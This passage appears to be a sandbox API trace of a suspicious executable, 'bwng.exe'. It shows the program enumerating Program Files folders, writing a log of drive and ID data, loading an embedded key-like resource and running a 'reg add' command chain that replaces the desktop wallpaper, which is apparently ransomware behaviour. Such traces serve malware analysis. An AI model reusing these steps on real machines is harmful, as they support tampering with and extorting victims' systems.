ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0030.000] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.011] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.012] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.012] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0030.012] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0030.019] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0030.019] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0030.020] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.020] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0030.020] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0030.020] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0030.021] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0030.021] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.022] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0030.022] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0030.023] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0030.023] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0030.025] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0030.026] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0030.083] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0030.084] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0030.086] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0030.087] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0030.087] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.087] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0030.087] FindClose (in: hFindFile=0x718718 | out: hFindFile=0x718718) returned 1 [0030.087] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718718 [0030.088] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0030.089] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0030.090] FindClose (in: hFindFile=0x718718 | out: hFindFile=0x718718) returned 1 [0030.090] FindClose (in: hFindFile=0x7186d8 | out: hFindFile=0x7186d8) returned 1 [0030.090] FindClose (in: hFindFile=0x718698 | out: hFindFile=0x718698) returned 1 [0030.090] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa0652730, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0652730, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718698 [0030.090] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7186d8 [0030.091] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718718 [0030.091] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0030.092] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.094] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.095] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.095] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.095] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0030.096] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.096] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0031.596] WriteFile (in: hFile=0x17c, lpBuffer=0x7eef0010*, nNumberOfBytesToWrite=0x547fd, lpNumberOfBytesWritten=0x18fb10, lpOverlapped=0x0 | out: lpBuffer=0x7eef0010*, lpNumberOfBytesWritten=0x18fb10*=0x547fd, lpOverlapped=0x0) returned 1 [0031.602] CloseHandle (hObject=0x17c) returned 1 [0031.606] VirtualFree (lpAddress=0x7ee40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0031.607] VirtualFree (lpAddress=0x7eef0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0031.609] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ALL_dmp.fldp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\all_dmp.fldp")) returned 0x20 [0031.609] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0031.609] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0031.609] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0031.609] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f968, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0031.609] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\log.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\log.txt")) returned 0xffffffff [0031.609] GetLastError () returned 0x2 [0031.609] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f968, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0031.609] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\log.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\log.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0031.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[LDRIVES]: C:\\\r\n[ALL_LOCAL_KID]: 494DCEE6F0485AF8\r\n[LDRIVES]= 3896_1GB\r\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0031.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[LDRIVES]: C:\\\r\n[ALL_LOCAL_KID]: 494DCEE6F0485AF8\r\n[LDRIVES]= 3896_1GB\r\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0031.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[LDRIVES]: C:\\\r\n[ALL_LOCAL_KID]: 494DCEE6F0485AF8\r\n[LDRIVES]= 3896_1GB\r\n", cchWideChar=72, lpMultiByteStr=0x1e94f08, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[LDRIVES]: C:\\\r\n[ALL_LOCAL_KID]: 494DCEE6F0485AF8\r\n[LDRIVES]= 3896_1GB\r\n\\", lpUsedDefaultChar=0x0) returned 72 [0031.610] WriteFile (in: hFile=0x17c, lpBuffer=0x1e94f08*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x18fae0, lpOverlapped=0x0 | out: lpBuffer=0x1e94f08*, lpNumberOfBytesWritten=0x18fae0*=0x48, lpOverlapped=0x0) returned 1 [0031.611] CloseHandle (hObject=0x17c) returned 1 [0031.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LOGSAVED]", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LOGSAVED]", cchWideChar=10, lpMultiByteStr=0x1e632cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[LOGSAVED]", lpUsedDefaultChar=0x0) returned 10 [0031.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\rqﮰ\x18") returned 1 [0031.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0031.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1e6a7a4, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0031.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\nqﮰ\x18") returned 1 [0031.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0031.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1e6a7a4, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0031.612] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x18fbb4, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbb4*=0xc, lpOverlapped=0x0) returned 1 [0031.612] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0031.612] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0031.614] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x25ea84c, cbMultiByte=228, lpWideCharStr=0x18eaf0, cchWideChar=2047 | out: lpWideCharStr="/C reg add \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 228 [0031.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=37, fCreate=0 | out: pszPath="C:\\Windows\\system32") returned 1 [0031.614] FindResourceW (hModule=0x400000, lpName="WALL", lpType=0xa) returned 0x4f54e0 [0031.614] LoadResource (hModule=0x400000, hResInfo=0x4f54e0) returned 0x52a6b4 [0031.614] SizeofResource (hModule=0x400000, hResInfo=0x4f54e0) returned 0xcd96 [0031.614] LockResource (hResData=0x52a6b4) returned 0x52a6b4 [0031.614] FreeResource (hResData=0x52a6b4) returned 0 [0031.614] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0031.614] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0031.614] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0031.614] LockResource (hResData=0x5260dc) returned 0x5260dc [0031.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2390, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2390, cbMultiByte=38, lpWideCharStr=0x1e8e20c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0031.615] FreeResource (hResData=0x5260dc) returned 0 [0031.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb2394, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0031.615] GetCurrentThreadId () returned 0x5b0 [0031.615] GetCurrentThreadId () returned 0x5b0 [0031.615] GetCurrentThreadId () returned 0x5b0 [0031.615] GetTickCount () returned 0x115345a [0031.615] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb34 | out: lpPerformanceCount=0x18fb34*=17356739761) returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="Dgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="Sgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 1 [0031.615] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb10, cbMultiByte=1, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="sgאּ\x18dd \"HKCU\\Control Panel\\Desktop\" /v Wallpaper 